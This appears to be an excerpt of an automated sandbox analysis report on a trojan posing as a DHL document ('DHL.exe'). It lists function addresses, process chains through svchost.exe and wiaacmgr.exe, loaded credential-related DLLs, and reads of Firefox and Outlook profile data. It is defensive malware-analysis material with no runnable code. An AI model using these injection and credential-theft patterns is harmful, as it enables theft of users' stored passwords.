Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04950591	5_2_04950591
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04890535	5_2_04890535
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048AC6E0	5_2_048AC6E0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0488C7C0	5_2_0488C7C0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048B4750	5_2_048B4750
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04890770	5_2_04890770
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04922000	5_2_04922000
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_049441A2	5_2_049441A2
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_049501AA	5_2_049501AA
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_049481CC	5_2_049481CC
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04880100	5_2_04880100
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0492A118	5_2_0492A118
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04918158	5_2_04918158
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_049102C0	5_2_049102C0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04930274	5_2_04930274
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_049503E6	5_2_049503E6
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0489E3F0	5_2_0489E3F0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494A352	5_2_0494A352
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04930CB5	5_2_04930CB5
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04880CF2	5_2_04880CF2
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04890C00	5_2_04890C00
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048A8DBF	5_2_048A8DBF
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0488ADE0	5_2_0488ADE0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0489AD00	5_2_0489AD00
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0492CD1F	5_2_0492CD1F
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494CE93	5_2_0494CE93
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048A2E90	5_2_048A2E90
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494EEDB	5_2_0494EEDB
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494EE26	5_2_0494EE26
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04890E59	5_2_04890E59
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0490EFA0	5_2_0490EFA0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04882FC8	5_2_04882FC8
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0489CFE0	5_2_0489CFE0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04932F30	5_2_04932F30
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048D2F28	5_2_048D2F28
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048B0F30	5_2_048B0F30
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04904F40	5_2_04904F40
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048768B8	5_2_048768B8
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048BE8F0	5_2_048BE8F0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0489A840	5_2_0489A840
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04892840	5_2_04892840
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048929A0	5_2_048929A0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0495A9A6	5_2_0495A9A6
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048A6962	5_2_048A6962
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0488EA80	5_2_0488EA80
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04946BD7	5_2_04946BD7
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494AB40	5_2_0494AB40
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494F43F	5_2_0494F43F
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04881460	5_2_04881460
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0492D5B0	5_2_0492D5B0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_049595C3	5_2_049595C3
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04947571	5_2_04947571
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_049416CC	5_2_049416CC
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048D5630	5_2_048D5630
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494F7B0	5_2_0494F7B0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048970C0	5_2_048970C0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0493F0CC	5_2_0493F0CC
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494F0E0	5_2_0494F0E0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_049470E9	5_2_049470E9
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0489B1B0	5_2_0489B1B0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048C516C	5_2_048C516C
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0487F172	5_2_0487F172
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0495B16B	5_2_0495B16B
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048952A0	5_2_048952A0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048AB2C0	5_2_048AB2C0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_049312ED	5_2_049312ED
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048D739A	5_2_048D739A
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494132D	5_2_0494132D
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0487D34C	5_2_0487D34C
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494FCF2	5_2_0494FCF2
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04909C32	5_2_04909C32
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048AFDC0	5_2_048AFDC0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04893D40	5_2_04893D40
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04941D5A	5_2_04941D5A
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04947D73	5_2_04947D73
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04899EB0	5_2_04899EB0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04891F92	5_2_04891F92
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494FFB1	5_2_0494FFB1
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04853FD5	5_2_04853FD5
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04853FD2	5_2_04853FD2
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494FF09	5_2_0494FF09
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048938E0	5_2_048938E0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048FD800	5_2_048FD800
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04925910	5_2_04925910
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04899950	5_2_04899950
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048AB950	5_2_048AB950
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048D5AA0	5_2_048D5AA0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04931AA3	5_2_04931AA3
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0492DAAC	5_2_0492DAAC
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0493DAC6	5_2_0493DAC6
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04947A46	5_2_04947A46
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494FA49	5_2_0494FA49
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04903A6C	5_2_04903A6C
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048AFB80	5_2_048AFB80
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_04905BF0	5_2_04905BF0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_048CDBF9	5_2_048CDBF9
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0494FB76	5_2_0494FB76
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_028620E0	5_2_028620E0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0285CFB7	5_2_0285CFB7
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0285CFC0	5_2_0285CFC0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0285B325	5_2_0285B325
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0285B330	5_2_0285B330
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0285B1E0	5_2_0285B1E0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0285D1E0	5_2_0285D1E0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02851122	5_2_02851122
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02865790	5_2_02865790
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_02863980	5_2_02863980
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0286397D	5_2_0286397D
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0287BEE0	5_2_0287BEE0
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0474E76C	5_2_0474E76C
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0474E2B5	5_2_0474E2B5
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0474E3D5	5_2_0474E3D5
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0474D838	5_2_0474D838
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: 5_2_0474CAD8	5_2_0474CAD8

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 034AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0342B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03475130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03487E54 appears 111 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 034BF290 appears 105 times
Source: C:\Users\user\Desktop\DHL.exe	Code function: String function: 009C0A30 appears 46 times
Source: C:\Users\user\Desktop\DHL.exe	Code function: String function: 009A9CB3 appears 31 times
Source: C:\Users\user\Desktop\DHL.exe	Code function: String function: 009BF9F2 appears 40 times
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: String function: 048FEA12 appears 86 times
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: String function: 0490F290 appears 105 times
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: String function: 0487B970 appears 280 times
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: String function: 048D7E54 appears 111 times
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Code function: String function: 048C5130 appears 58 times

Source: DHL.exe, 00000000.00000003.1464305183.00000000037BD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs DHL.exe
Source: DHL.exe, 00000000.00000003.1463668942.0000000003293000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs DHL.exe

Source: DHL.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@9/6

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A137B5 GetLastError,FormatMessageW,

0_2_00A137B5

Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A010BF AdjustTokenPrivileges,CloseHandle,		0_2_00A010BF
Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_00A016C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_00A016C3

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A151CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_00A151CD

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A2A67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00A2A67C

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_00A1648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

0_2_00A1648E

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_009A42A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_009A42A2

Source: C:\Users\user\Desktop\DHL.exe

File created: C:\Users\user\AppData\Local\Temp\autCA0B.tmp

Jump to behavior

Source: DHL.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\DHL.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wiaacmgr.exe, 00000005.00000003.1898749813.0000000002A84000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000003.1898749813.0000000002AA6000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2701656661.0000000002AD5000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2701656661.0000000002AA6000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000003.1901013083.0000000002AB2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DHL.exe	Virustotal: Detection: 29%
Source: DHL.exe	ReversingLabs: Detection: 42%

Source: unknown	Process created: C:\Users\user\Desktop\DHL.exe "C:\Users\user\Desktop\DHL.exe"
Source: C:\Users\user\Desktop\DHL.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DHL.exe"
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	Process created: C:\Windows\SysWOW64\wiaacmgr.exe "C:\Windows\SysWOW64\wiaacmgr.exe"
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\DHL.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\DHL.exe"	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	Process created: C:\Windows\SysWOW64\wiaacmgr.exe "C:\Windows\SysWOW64\wiaacmgr.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DHL.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: scansetting.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wiaacmgr.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\HXuKNehwRCvCGVTvwbakJIecOePGhOvzkeSvzIpLOVeFCqeShBB\eYHtcsfFquWF.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wiaacmgr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\wiaacmgr.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: DHL.exe

Static file information: File size 1257984 > 1048576

Source: DHL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: DHL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: DHL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: DHL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: DHL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: DHL.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: DHL.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: eYHtcsfFquWF.exe, 00000004.00000002.2700431435.000000000012E000.00000002.00000001.01000000.00000005.sdmp, eYHtcsfFquWF.exe, 00000006.00000002.2700413450.000000000012E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: DHL.exe, 00000000.00000003.1463417563.0000000003690000.00000004.00001000.00020000.00000000.sdmp, DHL.exe, 00000000.00000003.1462103943.0000000003170000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1707862463.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1609031075.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1707862463.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1611529786.0000000003200000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000003.1707826366.00000000044CC000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2711323024.0000000004850000.00000040.00001000.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2711323024.00000000049EE000.00000040.00001000.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000003.1710157325.000000000469F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: DHL.exe, 00000000.00000003.1463417563.0000000003690000.00000004.00001000.00020000.00000000.sdmp, DHL.exe, 00000000.00000003.1462103943.0000000003170000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1707862463.0000000003400000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1609031075.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1707862463.000000000359E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1611529786.0000000003200000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, wiaacmgr.exe, 00000005.00000003.1707826366.00000000044CC000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2711323024.0000000004850000.00000040.00001000.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2711323024.00000000049EE000.00000040.00001000.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000003.1710157325.000000000469F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wiaacmgr.pdbGCTL source: svchost.exe, 00000002.00000003.1674473037.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1674557677.0000000002E2E000.00000004.00000020.00020000.00000000.sdmp, eYHtcsfFquWF.exe, 00000004.00000002.2708173284.0000000000B78000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wiaacmgr.pdb source: svchost.exe, 00000002.00000003.1674473037.0000000002E1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1674557677.0000000002E2E000.00000004.00000020.00020000.00000000.sdmp, eYHtcsfFquWF.exe, 00000004.00000002.2708173284.0000000000B78000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2712106181.0000000004E7C000.00000004.10000000.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000000.1781779621.0000000002BFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2008088065.0000000038AAC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: wiaacmgr.exe, 00000005.00000002.2701656661.0000000002A2E000.00000004.00000020.00020000.00000000.sdmp, wiaacmgr.exe, 00000005.00000002.2712106181.0000000004E7C000.00000004.10000000.00040000.00000000.sdmp, eYHtcsfFquWF.exe, 00000006.00000000.1781779621.0000000002BFC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2008088065.0000000038AAC000.00000004.80000000.00040000.00000000.sdmp

Source: DHL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: DHL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: DHL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: DHL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: DHL.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\DHL.exe

Code function: 0_2_009A42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_009A42DE

Source: C:\Users\user\Desktop\DHL.exe	Code function: 0_2_009C0A76 push ecx; ret	0_2_009C0A89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A07C push ecx; iretd	2_2_0041A07D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00407174 push ss; ret	2_2_00407192
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00405133 pushfd ; retf	2_2_00405135
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A9EE push edi; retf	2_2_0041A9FE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A9F3 push edi; retf	2_2_0041A9FE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040AAE5 push es; ret	2_2_0040AAE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00403290 push eax; ret	2_2_00403292
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040D3B2 pushad ; retf	2_2_0040D3B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00417609 push eax; retf	2_2_0041760A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004127CA push ebx; iretd	2_2_004127CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0340225F pushad ; ret	2_2_034027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_034027FA pushad ; ret	2_2_034027F9
